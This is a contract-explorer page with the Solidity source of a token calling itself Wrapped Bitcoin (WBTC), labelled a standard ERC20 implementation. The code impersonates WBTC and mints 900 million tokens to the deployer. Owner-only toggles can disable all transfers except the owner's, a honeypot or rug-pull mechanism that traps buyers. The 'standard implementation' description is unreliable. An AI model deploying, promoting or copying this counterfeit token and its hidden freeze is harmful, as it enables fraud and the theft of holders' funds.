Description:
ERC20 token contract. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
/**
* @title Wrapped Bitcoin (WBTC)
* @notice ERC20-compliant Wrapped Bitcoin with embedded metadata, supply, and toggles.
* @dev Flattened for verification on Etherscan.
*/
contract WBTC {
// --- ERC20 Storage ---
string private constant _name = "Wrapped Bitcoin";
string private constant _symbol = "WBTC";
uint8 private constant _decimals = 8;
uint256 private _totalSupply = 90000000000000000; // fixed supply
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
// --- Metadata for scanners / explorers ---
string public constant description = "Wrapped Bitcoin (WBTC) is a tokenized version of Bitcoin (BTC) on Ethereum.";
string public constant website = "https://wbtc.network";
string public constant logoURI = "ipfs://QmQYp2hK7n7rEhVbJz9i5DdHu6mViLUh34WLMN7c9XKfZp";
// replace with your actual IPFS logo CID
// --- Access Control ---
address public owner;
// --- Toggles ---
bool public tradingEnabled = true;
bool public swapEnabled = true;
// --- Events ---
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event TradingEnabled(bool status);
event SwapEnabled(bool status);
// --- Modifiers ---
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
modifier tradingAllowed(address from, address to) {
if (from != owner && to != owner) {
require(tradingEnabled, "Trading disabled");
require(swapEnabled, "Swaps disabled");
}
_;
}
// --- Constructor ---
constructor() {
owner = msg.sender;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- ERC20 Functions ---
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public tradingAllowed(msg.sender, to) returns (bool) {
_transfer(msg.sender, to, amount);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint256) {
return _allowances[tokenOwner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public tradingAllowed(from, to) returns (bool) {
_transfer(from, to, amount);
uint256 currentAllowance = _allowances[from][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(from, msg.sender, currentAllowance - amount);
return true;
}
// --- Internal helpers ---
function _transfer(address from, address to, uint256 amount) internal {
require(from != address(0) && to != address(0), "ERC20: zero address");
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: insufficient balance");
_balances[from] = fromBalance - amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function _approve(address tokenOwner, address spender, uint256 amount) internal {
require(tokenOwner != address(0) && spender != address(0), "ERC20: zero address");
_allowances[tokenOwner][spender] = amount;
emit Approval(tokenOwner, spender, amount);
}
// --- Owner Functions ---
function transferOwnership(address newOwner) external onlyOwner {
require(newOwner != address(0), "Zero address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setTradingEnabled(bool status) external onlyOwner {
tradingEnabled = status;
emit TradingEnabled(status);
}
function setSwapEnabled(bool status) external onlyOwner {
swapEnabled = status;
emit SwapEnabled(status);
}
// --- Metadata fetch ---
function tokenMetadata() external pure returns (
string memory name_,
string memory symbol_,
uint8 decimals_,
string memory description_,
string memory website_,
string memory logoURI_
) {
return (_name, _symbol, _decimals, description, website, logoURI);
}
}
Submitted on: 2025-09-21 16:13:46
Comments
Log in to comment.
No comments yet.